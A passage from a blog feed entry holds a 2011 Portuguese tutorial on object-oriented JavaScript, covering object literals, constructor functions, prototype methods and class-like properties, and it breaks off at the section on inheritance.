que admitir que ela foge um pouco do convencional através do estilo de…]]></description><link>https://klauslaube.com.br/2011/05/16/fazendo-javascript-oo-de-forma-facil.html</link><guid isPermaLink="false">https://klauslaube.com.br/2011/05/16/fazendo-javascript-oo-de-forma-facil.html</guid><pubDate>Mon, 16 May 2011 20:27:00 GMT</pubDate><content:encoded>&lt;p&gt;Embora o &lt;em&gt;Javascript&lt;/em&gt; (em sua essência) seja orientado a objetos, temos
que admitir que ela foge um pouco do convencional através do estilo de
escrita &lt;em&gt;&lt;em&gt;prototype&lt;/em&gt;&lt;/em&gt;. Quero dizer que, é possível utilizarmos
conceitos como encapsulamento, herança, atributos e métodos públicos e
privados, etc. Mas de uma maneira um pouco diferente se comparada a
linguagens como &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt; ou &lt;a href=&quot;/tag/php.html&quot; title=&quot;Leia mais sobre PHP&quot;&gt;&lt;em&gt;PHP&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Encapsular para conquistar!&lt;/h2&gt;
&lt;p&gt;A linguagem é composta por alguns objetos muito utilizados no cotidiano,
como os objetos &lt;code class=&quot;language-text&quot;&gt;Array&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;Math&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;String&lt;/code&gt;. Estes (e outros
&lt;a href=&quot;https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects&quot; title=&quot;Veja outros objetos globais da linguagem&quot;&gt;objetos de &lt;em&gt;core&lt;/em&gt;&lt;/a&gt;) são instâncias do objeto &lt;code class=&quot;language-text&quot;&gt;Object&lt;/code&gt;, que você
pode representar através da seguinte expressão:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; meuObjeto &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;typeof&lt;/span&gt; meuObjeto&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// object&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;typeof&lt;/span&gt; Math&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// object&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Você encontrará uma forma (muito bacana por sinal) de construir objetos
através de expressões como essas:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; fooBar &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token function-variable function&quot;&gt;init&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Posso funcionar como um inicializador!&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token function-variable function&quot;&gt;_private&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;tipo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Testando chamada &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; tipo &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;.&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token function-variable function&quot;&gt;eggs&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Eggs.&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    fooBar&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;_private&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;interna&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token function-variable function&quot;&gt;spam&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Spam: &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; msg &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;.&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

fooBar&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;init&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Posso funcionar como um inicializador!&lt;/span&gt;
fooBar&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;eggs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Eggs.&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Testando chamada interna&lt;/span&gt;
fooBar&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;_private&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;externa&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Testando chamada externa&lt;/span&gt;
fooBar&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;spam&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Eggs and Spam&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Spam: Eggs and Spam&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pode-se observar que é uma prática válida para organizar código através
de namespaces.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Referência:&lt;/strong&gt; &lt;a href=&quot;http://blog.rebeccamurphey.com/2009/10/15/using-objects-to-organize-your-code/&quot; title=&quot;Um bom artigo da Rebecca Murphey sobre como organizar seus scripts através de Objects&quot;&gt;&lt;em&gt;Using Objects to organize your code&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Função ou Classe?&lt;/h2&gt;
&lt;p&gt;Já utilizei algumas vezes o modelo acima… mas devo dizer que sou adepto
a uma outra forma de construirmos classes em &lt;em&gt;Javascript&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;Pessoa&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Pessoa instanciada!&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token function&quot;&gt;Pessoa&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Pessoa instanciada!&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;typeof&lt;/span&gt; Pessoa&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// function&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; pessoa1 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Pessoa&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Pessoa instanciada!&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;typeof&lt;/span&gt; pessoa1&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// object&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;No exemplo acima, podemos reparar que seguindo o comportamento normal de
uma função, não há surpresas na execução da expressão &lt;code class=&quot;language-text&quot;&gt;Pessoa&lt;/code&gt;. Porém,
quando adicionamos o operador &lt;code class=&quot;language-text&quot;&gt;new&lt;/code&gt; na frente, o &lt;em&gt;Javascript&lt;/em&gt; cria uma
instância do tipo &lt;code class=&quot;language-text&quot;&gt;Pessoa&lt;/code&gt;. Basicamente é como se a expressão
&lt;code class=&quot;language-text&quot;&gt;function&lt;/code&gt; fosse “multiuso”, sendo útil para definir funções e
classes.&lt;/p&gt;
&lt;p&gt;O mais legal disso é que, como você já deve ter reparado, com o uso do
&lt;code class=&quot;language-text&quot;&gt;new&lt;/code&gt; ganhamos de graça um &lt;code class=&quot;language-text&quot;&gt;constructor&lt;/code&gt; (ou inicializador, como
preferir) em nossa classe &lt;code class=&quot;language-text&quot;&gt;Pessoa&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Referência:&lt;/strong&gt; &lt;a href=&quot;https://developer.mozilla.org/en/Introduction_to_Object-Oriented_JavaScript&quot; title=&quot;Excelente artigo da Mozilla ensinando a como representar estados da Orientação a Objetos com Javascript&quot;&gt;&lt;em&gt;Introduction to Object-Oriented Javascript&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Métodos, propriedades e um pouco de confusão&lt;/h2&gt;
&lt;p&gt;Do construtor em diante, já me deparei com algumas vertentes de
implementações do &lt;em&gt;Javascript&lt;/em&gt;. Já encontrei algumas &lt;a href=&quot;http://jquery-howto.blogspot.com/2009/01/object-oriented-javascript-how-to_21.html&quot; title=&quot;Object-Oriented JavaScript, how to achieve public properties/fields&quot;&gt;bem simples&lt;/a&gt;,
outras &lt;a href=&quot;http://www.coolpage.com/developer/javascript/Correct%20OOP%20for%20Javascript.html&quot; title=&quot;Correct OOP for Javascript&quot;&gt;um pouco mais complicadas&lt;/a&gt; … vou mostrar aqui a que eu
acredito ser a mais usual. Não tenho propriedade para dizer se é o modo
certo ou mais elegante, apenas é o modo que incorpora características de
&lt;em&gt;OOP&lt;/em&gt; que melhor me atendeu:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;Linguagem&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;nome&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; versao&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;nome &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; nome&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;versao &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; versao&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Acima temos a construção da classe &lt;code class=&quot;language-text&quot;&gt;Linguagem&lt;/code&gt;. Em seu constructor
aproveitamos para setar alguns atributos, como &lt;code class=&quot;language-text&quot;&gt;nome&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;versao&lt;/code&gt;, que são
passados imediatamente na hora de instanciá-la.&lt;/p&gt;
&lt;p&gt;Para criar um método para esta classe, vamos recorrer ao &lt;em&gt;prototype&lt;/em&gt; do
&lt;em&gt;Javascript&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token class-name&quot;&gt;Linguagem&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;prototype&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function-variable function&quot;&gt;descricaoCompleta&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;nome &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot; vr. &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;versao&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Resumidamente, estamos adicionando um método de instância na estrutura
da classe. Fazemos isso adicionando uma função ao &lt;code class=&quot;language-text&quot;&gt;prototype&lt;/code&gt; da classe.
Dessa forma o método terá acesso as propriedades do objeto na hora que
for instanciado.&lt;/p&gt;
&lt;p&gt;Se tentarmos executar a expressão &lt;code class=&quot;language-text&quot;&gt;Linguagem.descricaoCompleta&lt;/code&gt;,
iremos nos deparar com um erro de método inexistente. Mas, se
instanciarmos a classe veremos que o método está acessível:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; python &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Linguagem&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Python&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;2.7&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;python&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Linguagem&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;python&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;descricaoCompleta&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Python vr.2.7&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Acima utilizamos o conceito de métodos e atributos de instância. Através
do modelo &lt;em&gt;object literal&lt;/em&gt; podemos ter um comportamento parecido com o
conceito de métodos de classe:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;Linguagem&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;nome&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; versao&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;nome &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; nome&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;versao &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; versao&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Chamando um método que está fora do prototype da classe&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;meuId &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Linguagem&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;incId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Adicionando uma propriedade através de Object Literal&lt;/span&gt;
Linguagem&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;id &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Adicionando um método através de Object Literal&lt;/span&gt;
Linguagem&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function-variable function&quot;&gt;incId&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;id&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; javascript &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Linguagem&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Javascript&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;1.5&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;javascript&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Linguagem&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;javascript&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;meuId&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 1&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Esta forma de criar classes e objetos em &lt;em&gt;Javascript&lt;/em&gt; é executada com
muito sucesso na biblioteca &lt;a href=&quot;http://www.rgraph.net/&quot; title=&quot;RGraph: HTML5 canvas graph library based on the HTML5 canvas tag &quot;&gt;&lt;em&gt;RGraph&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Referências:&lt;/strong&gt; &lt;a href=&quot;http://weblog.bocoup.com/javascript-is-object-oriented-programming&quot; title=&quot;Excelente artigo mostrando os conceitos de OOP aplicados ao Javascript&quot;&gt;&lt;em&gt;Javascript is Object Oriented Programming&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Herdar é preciso&lt;/h2&gt;
